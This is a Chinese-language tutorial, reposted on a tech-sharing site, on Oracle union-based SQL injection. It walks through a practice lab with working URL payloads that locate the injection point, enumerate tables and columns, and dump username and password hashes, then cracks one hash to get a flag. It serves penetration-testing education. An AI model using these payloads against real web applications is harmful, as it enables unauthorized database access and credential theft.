ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

oracle联合注入

2022-01-22 15:02:57  阅读:214  来源: 互联网

标签:dual union 查询 联合 oracle null id select 注入


oracle联合注入

  • oracle数据库简介:Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。

1. 前置知识:

  1. SYS_CONTEXT()

    • SYS_CONTEXT()函数是Oracle提供的一个获取环境上下文信息的预定义函数。
    • 语法格式:
      • SYS_CONTEXT('namespace','parameter'{,LENGTH});
      • 第一个参数为'USERENV',是固定的,第二个参数也是固定的,但是是多选固定。
    • SYS_CONTEXT 实际上就是一个Oracle存储和传递参数的容器访问函数。
    • select sys_context('USERENV','CURRENT_USER') from dual;--返回当前的登陆用户
      06_.SYS_CONTEXT()函数
  2. dual表

    • dual是一个由Oracle提供的最小的表,不论进行何种操作,它都只有一条记录——'X'。其经常用来构成select的语法规则(因为在oracle中,当你使用select查询语句时必须要加上表名,但是当我们在进行个别查询操作时,比如查询系统时间等,并不需要表名,为了保持select语法规则,于是就提供了dual表)。
      01_dual表
  3. V_$INSTANCE系统视图

    • 该系统视图用来存储当前数据库实例的状态信息
    • 其中的字段名:instance_name,为当前实例的名称(这正是我们所需要的)
      02_V$INSTANCE系统视图
  4. sys.v_$version系统视图

    • 用来存储数据库系统的版本信息
      03_V_$VERSION系统视图
  5. user_tables系统视图

    • 用来存储当前用户所拥有的表的相关数据
      04_USER_TABLES系统视图
  6. user_tab_columns系统视图

    • 该视图用来描述当前用户拥有的表、视图和集群的列
      05_USER_TAB_COLUMNS系统视图

2. 注入流程

  1. 判断注入点
  2. 判断当前注入点的字段数
  3. 确定显示位
  4. 查询当前登录用户
  5. 查询当前数据库版本信息
  6. 查询当前数据库名
  7. 查询我们所需的表名
  8. 查询表中的字段名
  9. 查询账户名/密码

3. 靶场实战(这里以“墨者”的的靶场为例)

3.1 判断注入点

  • payload:
    ?id=1 and 1=1 --页面返回正常
    ?id=1 and 1=2 --页面返回失败
    
    • 由此可知存在注入点,且为数字型注入
      07_判断注入点

3.2 判断当前注入点的字段数

  • payload:
    ?id=1 order by 2 --页面返回正常
    ?id=1 order by 3 --页面返回失败
    
    • 由此可知当前注入点的字段数为2
      08_判断当前注入点的字段数

3.2 确定显示位

  • payload:
    ?id=1 and 1=2 union select null,null from dual
    ?id=1 and 1=2 union select 'null',null from dual
    ?id=1 and 1=2 union select null,'null' from dual
    
    • 由图像返回结果可知,显示位存在于1号和2号位
      09_判断显示位
    • 这里说明一下,为什么oracle与mysql 确定显示位的方法不同:
      • 原因是oracle数据库是强数据类型,即union关键字前后的select查询所查询的字段的数据类型必须相同(mysql可以不同),这就导致在我们不知道union关键字前面的数据类型的前提下,必须先使用 null数据类型 来充当字段。然后依次为 null 加单引号使其变为字符串类型,如果加上单引号使null变为的字符串类型与union前面对应的字段类型相同,就自然会在页面中回显出显示位。

3.3 查询当前登录用户

  • payload:
    ?id=1 and 1=2 union select null,(select sys_context('userenv','current_user') from dual) from dual
    
    • 由下图可知,当前登录的用户是:system用户
      10_查询当前当前登录的用户

3.4 查询当前数据库版本信息

  • payload:
    ?id=1 and 1=2 union select null,(select banner from sys.v_$version where rownum=1) from dual
    
    • 由下图可知,当前数据库的版本为:Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
      11_查询当前当前数据库版本

3.5 查询当前数据库名

  • payload:
    ?id=1 and 1=2 union select null,(select instance_name from sys.V_$INSTANCE) from dual
    
    • 由下图可知当前数据库名为:XE
      12_查询当前当前数据库名

3.6 查询我们所需的表名

  • payload:
    • 第一步:我们先查当前数据库存在多少表名(心里好歹有个数)
      ?id=1 and 1=2 union select null,(select to_char(count(table_name),'999') from user_tables) from dual
      
      • 156张,额。。的确有点多啊,。。
        13_查询当前当前数据库存在多少张表
    • 第二步:我们还是直接模糊查询吧
      ?id=1 and 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name like '%user%') from dual
      
      • 可见,我们所要查询的表名为:sns_users
        14_查询表名

3.7 查询表中的字段名

  • payload:
    • 查询sns_users表所拥有的的字段数量
      ?id=1 and 1=2 union select null,(select to_char(count(column_name),'99') from user_tab_columns where table_name='sns_users') from dual
      
      • 3个字段,还好。。。
        15_查询sns_users表所拥有的字段数量
    • 查询每一个字段名
      • 第一个字段名
        ?id=1 and 1=2 union select null,(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual
        
        • 第一个字段名为:USER_NAME
          16_查询sns_users表的字段名
      • 第二个字段名
        ?id=1 and 1=2 union select null,(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name not in ('USER_NAME')) from dual
        
        • 第二个字段名为:USER_PWD
          17_查询sns_users表的字段名
    • 第三个字段名就不需要查询了,显然USER_NAME和USER_PWD两字段就是我们所需要的

3.8 查询账户名/密码

  • payload:
    • 查询有多少对账号密码
      ?id=1 and 1=2 union select null,to_char((select count(USER_NAME) from "sns_users"),'9') from dual
      
      • 可见有3对
        18_查询有多少对账号密码
    • 第一对账号密码:
      ?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1
      
      19_第一对账号密码
    • 第二对账号密码:
      ?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME not in ('zhong')
      
      20_第二对账号密码
    • 第三对账号密码:
      ?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME not in ('zhong','hu')
      
      21_第三对账号密码
  • 三对账号密码分别是
    1. zhong/1c63129ae9asc60asdua94d3e00495
    2. hu/1c63129ae9db9g20asdua94d3e00495
    3. mozhe/ecfd1ad1de2ff2a6734fadf09294f7ed
  • 以上三对密码,只有第三队才可以MD5加密成功:mozhe/881175
  • 登录拿key:mozhe5a56496fd9d56ec788fdc514d06
    22_登录拿key

标签:dual,union,查询,联合,oracle,null,id,select,注入
来源: https://www.cnblogs.com/02SWD/p/15833983.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有